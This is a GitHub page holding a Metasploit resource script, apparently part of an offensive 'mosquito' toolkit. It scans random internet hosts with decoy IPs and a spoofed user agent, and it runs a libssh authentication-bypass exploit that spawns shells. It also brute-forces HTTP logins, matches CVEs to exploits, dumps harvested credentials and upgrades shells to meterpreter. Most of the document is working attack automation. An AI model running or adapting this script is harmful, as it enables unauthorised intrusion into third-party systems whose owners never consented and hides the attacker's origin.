-
Notifications
You must be signed in to change notification settings - Fork 37
/
http_CVE.rc
331 lines (301 loc) · 14.7 KB
/
http_CVE.rc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
##
# Script: http_CVE.rc
# Author: r00t-3xp10it <pedroubuntu10[at]gmail.com>
# GitHub: https://github.com/r00t-3xp10it/resource_files
# -
# [OPTIONS]
# setg SAVE_DB true - Save workspace mosquito to database.xml
# setg LIMMIT 1000 - Limit the number of random rhosts to search
# setg NSE_PATH /usr/share/nmap/scripts - The absoluct path of nmap nse scripts local folder.
# setg RANDOM_HOSTS true - To instruct db_nmap to random search for hosts with ports 21:22:80:445 open
# setg RHOSTS 154.194.198.245 194.58.118.182 - To instruct db_nmap to check targets for ports 21:22:80 open
# -
# [SYNTAX EXAMPLES]
# msf5 > setg RANDOM_HOSTS true;resource /root/http_CVE.rc'
# msfconsole -q -x 'setg RANDOM_HOSTS true;resource /root/http_CVE.rc'
##
<ruby>
run_single("workspace -a mosquito")
help = %Q|
🦟__________
_______🦟________________________ ___(_) _ /______🦟
__ __ __ \\ __ \\_ ___/ __ / / / /_ /_ __/ __ \\
🦟_ / / / / / /_/ /(__ )/ /_/ // /_/ /_ / / /_ / /_/ /
/_/ /_/ /_/\\____//____/ \\__, / \\__,_/ /_/ \\__/ \\____/
🦟 /_/ 🦟
Script: http_CVE.rc
Author: r00t-3xp10it <pedroubuntu10[at]gmail.com>
GitHub: https://github.com/r00t-3xp10it/resource_files
|
print_line(help)
Rex::sleep(2.0)
## Make sure we are connected to db
unless framework.db.active
File.delete("ip_range.txt") if File.exist?("ip_range.txt")
print_error("[ERROR] Database not connected to postgresql.")
Rex::sleep(2.0)
err = %Q|
Remark
------
This resource script requires the msf database connected to postgresql.
Connect DB To Postgresql
------------------------
[execute] service postgresql start
[execute] msfconsole -q -x 'resource http_CVE.rc'
|
print_line(err)
print_error("please wait, cleaning recent configurations.")
run_single("unsetg all")
run_single("exit -y")
return nil
else
local = Dir.pwd
print_good("Database connected to postgresql.")
Rex::sleep(0.5)
work_name = framework.db.workspace.name
print_status("Working in workspace: *#{work_name}")
Rex::sleep(1.0)
ip_range = File.read("ip_range.txt") if File.exist?("ip_range.txt")
end
## Sellect the type of nmap scan to use
if (framework.datastore['RANDOM_HOSTS'] == "true")
if (framework.datastore['LIMMIT'] == nil or framework.datastore['LIMMIT'] == '')
run_single("setg LIMMIT 300")
print_line("RHOSTS => Random Search in WAN for:#{framework.datastore['LIMMIT']} alive hosts")
else
print_line("LIMMIT => #{framework.datastore['LIMMIT']}")
print_line("RHOSTS => Random Search in WAN for:#{framework.datastore['LIMMIT']} alive hosts")
end
elsif (framework.datastore['RHOSTS'] == nil or framework.datastore['RHOSTS'] == '')
run_single("setg RHOSTS #{ip_range}.0/24")
elsif (framework.datastore['RHOSTS'])
print_line("RHOSTS => #{framework.datastore['RHOSTS']}")
end
## Nmap freevulnsearch.nse absoluct path
if (framework.datastore['NSE_PATH'] == nil or framework.datastore['NSE_PATH'] == '')
nse = "/usr/share/nmap/scripts/freevulnsearch.nse"
print_line("NSE_PATH => #{nse}")
else
nse = "#{framework.datastore['NSE_PATH']}/freevulnsearch.nse"
print_line("NSE_PATH => #{nse}")
end
## db_nmap WAN or RHOSTS scan settings 21,22,80 http-enum.nse,banner.nse,http-slowloris-check.nse ssl-poodle.nse ftp-anon.nse
if (framework.datastore['RHOSTS'] == "#{ip_range}.0/24")
run_single("db_nmap -sS -v -Pn -n -T4 -O -p 21,22,80 --open --script=banner.nse,http-headers.nse,http-default-accounts.nse,http-slowloris-check.nse,http-csrf.nse,http-tplink-dir-traversal.nse --script-args http.useragent=\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 Mobile/15D60 Safari/604.1\" #{framework.datastore['RHOSTS']}")
elsif (framework.datastore['RANDOM_HOSTS'] == "true")
print_status("Nmap: search for random remote hosts with ports 21:22:80 open")
run_single("db_nmap -sS -vvv -Pn -n -T4 -iR #{framework.datastore['LIMMIT']} -p 21,22,80 --open --script=banner.nse,http-headers.nse,http-default-accounts.nse,http-slowloris-check.nse,http-csrf.nse,http-tplink-dir-traversal.nse --script-args http.useragent=\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 Mobile/15D60 Safari/604.1\" -D 172.217.17.4,65.49.82.3")
else
run_single("db_nmap -sS -v -Pn -n -T4 -O -p 21,22,80 --open --script=banner.nse,http-headers.nse,http-default-accounts.nse,http-slowloris-check.nse,http-csrf.nse,http-tplink-dir-traversal.nse --script-args http.useragent=\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 Mobile/15D60 Safari/604.1\" -D 172.217.17.4,65.49.82.3 #{framework.datastore['RHOSTS']}")
end
## Read the database.
if File.directory?("#{local}/logs")
run_single("spool #{local}/logs/http_CVE.log")
end
print_line("")
run_single("services")
## rhosts geolocation (geoip-bin)
if (File.exist?("/usr/bin/geoiplookup"))
print_line("Geo-Location")
print_line("------------")
## Mapping database hosts (loop)
framework.db.hosts.map(&:address).each do |sHost|
geo_location = `geoiplookup #{sHost}|cut -d ':' -f2|tr -d '\n'`
spl_range = sHost.split('.')
## Make sure we are NOT geolocating Internal ip(s)
if (spl_range[0] == "192" and spl_range[1] == "168")
print_line("#{sHost} - Not available (Internal IP Address)")
else
print_line("#{sHost} - #{geo_location}")
end
end
end
print_line("")
Rex::sleep(2.0)
## Read the database (metasploit)
print_good("Reading msfdb database for info.")
xhost = framework.db.hosts.map(&:address).join(' ')
xport = framework.db.services.map(&:port).join(' ')
proto = framework.db.services.map(&:proto).join(' ')
xname = framework.db.hosts.map(&:os_name).join(' ').gsub(' ',', ')
## Make sure that exists hosts/ports (open) in database
if xhost.nil? or xhost == '' or xhost == ' '
File.delete("ip_range.txt") if File.exist?("ip_range.txt")
print_error("db_nmap scan did not find any alive connections.")
print_error("Please wait, cleaning recent configurations.")
Rex::sleep(1.0)
run_single("unsetg all")
run_single("workspace -d mosquito")
return nil
elsif xport.nil? or xport == '' or xport == ' '
File.delete("ip_range.txt") if File.exist?("ip_range.txt")
print_error("db_nmap did not find any 21,22,80,445 open ports.")
print_error("Please wait, cleaning recent configurations.")
Rex::sleep(1.0)
run_single("unsetg all")
run_single("workspace -d mosquito")
return nil
end
## Make sure that freevulnseach.nse exists
run_single("setg RHOSTS #{xhost}")
Rex::sleep(2.0)
nse = "/usr/share/nmap/scripts/freevulnsearch.nse"
unless (File.exist?(nse))
print_error("[ERROR] freevulnsearch.nse/vulners.nse script(s) not found in nmap db.")
print_error("[ERROR] Download nse script(s) and install it before running this rc file.")
Rex::sleep(1.0)
nof = %Q|
How To Fix
----------
Exit current session and msfconsole < exit AND exit -y >
Then execute the follow commands in a new terminal windows:
sudo wget https://raw.githubusercontent.com/OCSAF/freevulnsearch/master/freevulnsearch.nse
sudo cp freevulnsearch.nse /usr/share/nmap/scripts/freevulnsearch.nse
sudo wget https://raw.githubusercontent.com/vulnersCom/nmap-vulners/master/vulners.nse
sudo cp vulners.nse /usr/share/nmap/scripts/vulners.nse
sudo nmap --script-updatedb
|
print_line(nof)
print_error("Please wait, cleaning recent configurations.")
Rex::sleep(1.0)
run_single("unsetg all")
run_single("workspace -d mosquito")
File.delete("ip_range.txt") if File.exist?("ip_range.txt")
return nil
else
print_good("freevulnsearch.nse/vulners.nse script(s) found.")
end
if xport =~ /22/ or proto =~ /ssh/i
print_warning("Remote Target port: 22 ssh found")
Rex::sleep(1.0)
run_single("use auxiliary/scanner/ssh/libssh_auth_bypass")
run_single("set SPAWN_PTY true")
print_line("")
run_single("services -c name -S ssh -R")
run_single("exploit")
end
if xport =~ /80/i or proto =~ /http/i
print_warning("Remote Target port: 80 http found")
Rex::sleep(1.0)
run_single("use auxiliary/scanner/http/http_header")
run_single("set VERBOSE true")
print_line("")
run_single("services -c name -S http -R")
run_single("exploit")
run_single("use auxiliary/scanner/http/options")
run_single("set THREADS 25")
print_line("")
run_single("services -c name -S http -R")
run_single("exploit")
run_single("use auxiliary/scanner/http/dir_listing")
run_single("set THREADS 55")
print_line("")
run_single("services -c name -S http -R")
run_single("exploit")
run_single("use auxiliary/scanner/http/dir_scanner")
run_single("set THREADS 16")
print_line("")
run_single("services -c name -S http -R")
run_single("exploit")
run_single("use auxiliary/scanner/http/http_login")
run_single("set STOP_ON_SUCCESS true")
run_single("set THREADS 16")
print_line("")
run_single("services -c name -S http -R")
run_single("exploit")
end
## Running freevulnsearch.nse (scan for CVE's)
print "[?] Scan for possible CVE's? (y/n): "
question = gets.chomp
if question == "y" or question == "Y"
print "[?] Use 'freevulnsearch.nse' or 'vulners.nse'? :"
query_nse = gets.chomp
if query_nse.nil? or query_nse == ''
query_nse = "vulners.nse"
end
displ = %Q|
MMMMMMMMMMM'""""'YMMM MM""MMMMM""MM MM""""""""`MMMMMMMMMM
MMMMMMMMMM' .mmm. `MM MM MMMMM MM MM mmmmmmmMMMMMMMMMM
MMMMMMMMMM MMMMMooMM MM MMMMP MM MM` MMMMMMMMMMMM
MMMMMMMMMM MMMMMMMMM MM MMMM' .MM MM MMMMMMMMMMMMMMMMM
MMMMMMMMMM. `MMM' .MM MM MMP' .MMM MM MMMMMMMMMMMMMMMMM
MMMMMMMMMMM. .dMM MM .dMMMM MM .MMMMMMd@bM
MMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMM
freevulnsearch.nse by: Mathias Gut
vulners.nse by: gmedian
|
print_line(displ)
print_good("[#{query_nse}] Running CVE checks againts: #{framework.datastore['RHOSTS']}")
run_single("db_nmap -sV -v -T4 -Pn -n --script=#{query_nse} #{framework.datastore['RHOSTS']} --open -oN CVEs.txt")
## suggest exploits based on CVE number
query_numb = `cat CVEs.txt|grep -m 20 'CVE-'|awk {'print $2'}|cut -d '-' -f1,2,3`
# Make sure we get any CVE number back
parse_trail = query_numb.split(' ')
unless (parse_trail.empty? or parse_trail.nil? or parse_trail == '')
print "[?] Suggest exploits to CVEs found ? (y/n):"
query_cve = gets.chomp
if query_cve == "y" or query_cve == "Y"
# Use msfconsole search core command to search for compatible exploits
print_line("")
print_good("searching in metasploit database for compatible exploits..")
Rex::sleep(1.0)
(parse_trail).each do |id|
print_status("search cve:#{id} type:exploit rank:good rank:great rank:excellent")
Rex::sleep(0.5)
run_single("search cve:#{id} type:exploit rank:good rank:great rank:excellent")
Rex::sleep(1.0)
end
end
else
# None CVEs IDs found in nmap scans
print_error("[NONE CVEs FOUND] Abort Suggest exploits module execution.")
Rex::sleep(1.5)
end
end
## Make sure logs folder exists!
if File.directory?("#{local}/logs")
## Save current database to local file (xml)
if (framework.datastore['SAVE_DB'] == "true")
rand = Rex::Text.rand_text_alpha(5)
print_warning("Exporting database to: #{local}/logs/database_#{rand}.xml")
run_single("db_export -f xml -a #{local}/logs/database_#{rand}.xml")
end
end
print_line("")
## Display active sessions
run_single("sessions -l")
print_line("")
run_single("creds")
print_line("")
## Cleaning database and unset global variables
print_warning("Cleaning global variables.")
Rex::sleep(1.5)
run_single("unsetg all")
run_single("unset all")
run_single("workspace -d mosquito")
## Upgrade command shell to meterpreter?
if (framework.sessions.length > 0)
print "[?] Upgrade command shell to meterpreter? (y/n):"
upgrate_met = gets.chomp
if upgrate_met == "y" or upgrate_met == "Y"
run_single("use post/multi/manage/shell_to_meterpreter")
# Loop truth sessions to grab the session ID
framework.sessions.each_key do |sid|
run_single("set SESSION #{sid}")
run_single("run")
end
print_line("")
run_single("sessions -l")
print_line("")
end
end
dtr = `date`
## Writting ['xhost(s)'] to mosquito logfile
if File.directory?("#{local}/logs")
print_status("Logfile stored under: #{local}/logs/http_CVE.log")
run_single("echo \"[#{dtr}] http_CVE: #{xhost}\" >> logs/mosquito.log")
end
File.delete("CVEs.txt") if File.exist?("CVEs.txt")
File.delete("ip_range.txt") if File.exist?("ip_range.txt")
run_single("back")
</ruby>